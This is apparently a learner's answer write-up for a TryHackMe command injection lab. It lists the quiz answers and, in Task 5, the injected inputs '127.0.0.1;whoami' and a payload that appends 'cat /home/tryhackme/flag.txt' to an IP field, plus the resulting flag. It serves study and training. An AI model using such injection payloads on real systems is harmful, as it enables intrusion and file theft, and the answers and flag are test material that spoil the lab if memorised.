TryHackMe - Command Injection

Task 1

What variable stores the user’s input in the PHP code snippet in this task?

$title

What HTTP method is used to retrieve data submitted by a user in the PHP code snippet?

GET

If I wanted to execute the id command in the Python code snippet, what route would I need to visit?

/id

Task 2

What payload would I use if I wanted to determine what user the application is running as?

whoami

What popular network tool would I use to test for blind command injection on a Linux machine?

ping

What payload would I use to test a Windows machine for blind command injection?

timeout

Task 4

What is the term for the process of “cleaning” user input that is provided to an application?

sanitisation

Task 5

first I tried with 127.0.0.1 && whoami which didnt work then i tried 127.0.0.1;whoami which gave away the user and then I got the flag with this command 172.0.0.1;cat /home/tryhackme/flag.txt

**Here is your command:** 172.0.0.1;cat /home/tryhackme/flag.txt

**Output:**

PING 172.0.0.1 (172.0.0.1) 56(84) bytes of data. --- 172.0.0.1 ping statistics --- 4 packets transmitted, 0 received, 100% packet loss, time 3060ms THM{COMMAND_INJECTION_COMPLETE}

What user is this application running as?

www-data

What are the contents of the flag located in /home/tryhackme/flag.txt?

THM{COMMAND_INJECTION_COMPLETE}